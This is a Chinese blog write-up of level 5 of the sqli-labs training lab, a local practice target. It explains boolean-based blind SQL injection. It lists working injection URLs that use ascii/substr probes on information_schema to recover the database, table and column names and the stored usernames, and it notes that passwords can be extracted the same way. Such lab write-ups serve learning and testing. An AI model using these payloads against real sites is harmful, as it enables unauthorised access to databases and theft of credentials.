可我浪费着我寒冷的年华

Sqli-LABS通关笔录-5[SQL布尔型盲注]

/*
请为原作者打个标记。出自:珍惜少年时
*/
 
通过该关卡的学习我掌握到了
1.如何灵活的运用mysql里的MID、ASCII、length、等函数
2.布尔型盲注的认识
3.哦,对了还有。程序是从0开始的,limit的时候要从0开始。{0,1}
 
该文就是布尔型盲注
 
盲注又分为了以下三种:
1.布尔型盲注根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注
 
FreeBuf的一篇《详解sql盲注测试高级技巧》文章:http://www.freebuf.com/articles/web/30841.html

 

看下图:

直接构造出Payload:

http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+

麻烦来了,没有爆出显示位

来看看源码,由源码可以看得出来,除了一个echo "You are in ....';以外再无其他输出。故由此得出为布尔型盲注

 
昨晚心里恐惧,觉得略该睡觉了。就睡了。继续研究!
                               Start Action 
 
00x1 判断出盲注的类型
通过前面,其实已经可以判断出,当下面临的是布尔型的盲注,页面的真假。
联合到之前的ASCII逐字解码法来注入吧。
 
00x2 猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
这里使用的是and,之前是使前面的sql语句报错才用union.我也是顿悟,才知道的。问了好多人都说脚本写脚本写。尴尬。
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
 
 00x3 猜解表明
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注:select下的limit是第几个表。

  substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114  解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101  解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为...

............................................》》》推出第一个表的表明为:referer《《《.....

一下来推第二个表的内容:

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+  正确

当前库下(注入点连接的数据库)第二个表ASCII码为117 解码为u

当前库下(注入点连接的数据库)第二个表ASCII码为97   解码为a

 

当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为...

............................................》》》推出第二个表的表明为:uagents《《《.....
 
 完整的表数据如下:
mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)


 00x4 猜解字段

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+

105的ASCII码为:i

=》该字段为:id

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+

117的ASCII码为:u

=>该字段为:username

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+

112的ASCII码为:p

=>该字段为:password

有图可见只有三个字段,且程序是从0开始的。所以到2为止。

当为3时就报错了。

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

 

 00x5 猜解内容

security.users下的第一个字段
格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>ASCOO码--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+ 
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+
.....................................................................................................................................
最终解码后为:Dumb
security.users下的第二个字段
格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表名 order by id limit 1,1),1,1))=65 --+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+
.....................................................................................................................................
最终解码后为:Angelina

                                              #注:上面两个测试的是username,如果要猜解密码,记得改一下就可以。

 可以看一下完整的结构
 
 
 
 
转载请注明出处:珍惜少年时博客
 
 
 
 
 
 
 
THE END

 

 

 
 

 

posted @ 2016-11-26 03:43  珍惜少年时  阅读(2238)  评论(0编辑  收藏  举报
可我浪费着我寒冷的年华